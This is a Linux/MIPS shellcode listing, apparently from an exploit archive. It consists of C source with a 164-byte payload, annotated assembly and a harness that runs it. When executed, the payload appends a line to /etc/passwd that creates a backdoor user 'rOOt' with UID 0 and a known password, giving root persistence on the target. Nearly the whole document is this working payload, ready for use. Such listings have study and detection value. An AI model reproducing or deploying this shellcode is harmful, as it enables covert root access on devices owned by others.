Linux/MIPS - Add Root User (rOOt/pwn3d) To /etc/passwd Shellcode (164 bytes)

/* Title:  Linux/MIPS -add user(UID 0) with password - 164 bytes
 * Date:   2011-11-24
 * Author: rigan - imrigan [at] gmail.com
 * Note:
 *         Username - rOOt
 *         Password - pwn3d
 */

#include <stdio.h>

char sc[] = 
        "\x24\x09\x73\x50"       //  li      t1,29520
        "\x05\x30\xff\xff"       //  bltzal  t1,400094 <L>
        "\x24\x09\x73\x50"       //  li      t1,29520 (nop)
	
     /* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND); */
        "\x3c\x0f\x30\x2f"       //  lui     t7,0x302f 
        "\x35\xef\x65\x74"       //  ori     t7,t7,0x6574
        "\x3c\x0e\x63\x2f"       //  lui     t6,0x632f    
        "\x35\xce\x70\x61"       //  ori     t6,t6,0x7061
        "\x3c\x0d\x73\x73"       //  lui     t5,0x7373
        "\x35\xad\x77\x64"       //  ori     t5,t5,0x7764
        "\xaf\xaf\xff\xf3"       //  sw      t7,-13(sp)
	"\xaf\xae\xff\xf7"       //  sw      t6,-9(sp)
	"\xaf\xad\xff\xfb"       //  sw      t5,-5(sp)
        "\xaf\xa0\xff\xff"       //  sw      zero,-1(sp)
	"\x27\xa4\xff\xf4"       //  addiu   a0,sp,-12
        "\x24\x05\x01\x6d"       //  li      a1,365
        "\x24\x02\x0f\xa5"       //  li      v0,4005
        "\x01\x01\x01\x0c"       //  syscall 0x40404

	"\xaf\xa2\xff\xfc"       //  sw      v0,-4(sp)
	
     /* write(fd, "rOOt:XJ1GV.nyFFMoI:0:0:root:/root:/bin/bash\n", 45);	*/
        "\x8f\xa4\xff\xfc"       //  lw      a0,-4(sp)
        "\x23\xe5\x10\x0c"       //  addi    a1,ra,4108
        "\x20\xa5\xf0\x60"       //  addi    a1,a1,-4000
        "\x24\x09\xff\xd3"       //  li      t1,-45
        "\x01\x20\x30\x27"       //  nor     a2,t1,zero
        "\x24\x02\x0f\xa4"       //  li      v0,4004
        "\x01\x01\x01\x0c"       //  syscall 0x40404
        
      /* close(fd); */
        "\x24\x02\x0f\xa6"       //  li      v0,4006
        "\x01\x01\x01\x0c"       //  syscall 0x40404
	
      /* exit(0);  */
       "\x28\x04\xff\xff"        //  slti    a0,zero,-1
       "\x24\x02\x0f\xa1"        //  li      v0,4001
       "\x01\x01\x01\x0c"        //  syscall 0x40404
     
      /*  "rOOt:XJ1GV.nyFFMoI:0:0:root:/root:/bin/bash\n" */
       "\x72\x4f\x4f\x74"        
       "\x3a\x58\x4a\x31"        
       "\x47\x56\x2e\x6e"        
       "\x79\x46\x46\x4d"        
       "\x6f\x49\x3a\x30"        
       "\x3a\x30\x3a\x72"        
       "\x6f\x6f\x74\x3a"        
       "\x2f\x72\x6f\x6f"       
       "\x74\x3a\x2f\x62"       
       "\x69\x6e\x2f\x62"        
       "\x61\x73\x68\x0a";        
      
void main(void)
{
       void(*s)(void);
       printf("size: %d\n", strlen(sc));
       s = sc;
       s();
}